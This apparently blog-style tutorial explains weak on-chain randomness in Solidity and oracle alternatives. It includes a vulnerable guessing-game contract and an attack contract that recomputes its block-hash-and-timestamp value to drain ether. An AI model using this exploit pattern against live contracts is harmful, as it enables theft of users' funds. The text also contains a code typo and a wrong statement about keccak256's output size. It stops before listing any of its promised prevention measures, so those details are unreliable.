May 05, 2023
randomnesss are defined as an important part of the Ether smart contract in the book "Mastering Ethereum". randomnesss are generated by nodes in the blockchain network that use various algorithms to generate pseudo-randomness. In smart contracts, developers can use randomnesss for a variety of functions, such as randomly selecting winners, randomly generating numbers and strings, and so on. There are two common ways to generate randomnesss: using block variables to generate randomnesss, and using oracles to generate randomnesss. Next, let's take a look at the features of both:
Let’s first understand the common components that make up a block variable:
Out of all those, the most frequently used are block.difficulty, blockhash, block.number, and block.timestamp. Randomness generated by block data limits the possibility of regular users to predict that random number, however that doesn’t typically apply to malicious miners. A miner can decide whether or not a block gets broadcasted. It’s important to note that miners do not have to broadcast when they have mined a block. Blocks can also be discarded by miners, a process called selective packing. Miners will keep trying to generate Randomness until they acquire the desired result, with which they will then broadcast a block. The premise for miners to continue doing this is based upon the level of incentive. For example, a large reward pool for a block mined will incentivise miners to continue committing resources to discover new blocks. That being said, obtaining Randomness using block variables is more suitable for some Randomness that don’t belong to a core application.
Blockchain oracles are mechanisms that link blockchains to external systems, allowing smart contracts to execute that depend on real-world inputs and outputs. An oracle is specifically built to generate random number seeds. In addition to the use of third-party services, DApp developers also have the ability to build off-chain services that provide Randomness. In this scenario, off-chain data is obtained on-chain through the use of on-chain oracles.
Using this method will undoubtedly pose some security concerns. For instance, your dependence on a third-party to provide you a random number seed can be combated by another corrupt third-party that cheats or accepts bribes. Even if you constructed your own random number generator, it may not be accessible due to faults or other factors. In another scenario, project members might even manipulate Randomness causing significant operational issues of DApps and user downtime. That being said, using off-chain services to obtain genuine Randomness is dependent upon a stable and trustworthy third-party service. If that’s the case, using this method creates more unpredictability compared to the method of using blockchain variables to generate Randomness, which makes it stronger.
Understandably, there may be some doubts and concerns when it comes to random number generation methodology. Clearly, these two methods have their own inherent risks. So we have to ask ourselves, are there any safe and reliable ways to obtain Randomness? The answer to that question is, yes. There are multiple decentralized oracle services that have demonstrated reliability through their track record. Take ChainLink for example, they’re a relatively stable and secure decentralized oracle service that provides Randomness. ChainLink VRF provides an off-chain solution for random number seed acquisition. ChainLink will provide random number seeds as long as a user pays using LINK coins, but I won’t go into great detail about the advantages and use cases here.
We’ll now utilize smart contract code to illustrate the potential damages weak Randomness might cause.
pragma solidity ^0.8.13;
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint _guess) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
First, let’s address two functions found within the code, abi.encodePacked and keccak256:
abi.encodePacked encodes the parameters. Solidity provides two encoding methods, encode and encodePacked. The former fills each parameter with 32 bytes, and the latter doesn’t fill up, but directly connects the parameters to be encoded.
The keccak256 hash algorithm can compress any length of input into a 64-bit hexadecimal number, with the probability of hash collision being close to 0.
Next, we’ll look at the coding of the contract itself. This contract is a number guessing game to win ether. We can see that the contract deployer uses the block hash and block time of the previous block as the random number seed to generate Randomness. So we need to simulate his random number generation method to be rewarded. Now let’s bring in the attack contract.
pragma solidity ^0.8.13;
contract Attack {
receive() external payable {}
unction attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
guessTheRandomNumber.guess(answer);
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
First, the Attack contract is deployed by calling the attack() function and passing in the address of the GuessTheRandomNumber contract.
Attack.attack() simulates the random number generation method found in the GuessTheRandomNumber contract. After generating the random number, ‘guessTheRandomNumber.guess()is called and the generated random number is passed in, due to the fact that the random number was generated from the Attack.attack() to the call ‘guessTheRandomNumber’. guess() is executed in the same block, where the two parameters, block.number and block.timestamp are unchanged. So we have Attack.attack() and guessTheRandomNumber.guess() that produces the same results of the Randomness generated by each function, allowing the attacker to successfully pass the ‘if(_guess == answer)’ judgment and receive the reward.
The following measures can be taken to prevent randomness vulnerabilities in smart contracts: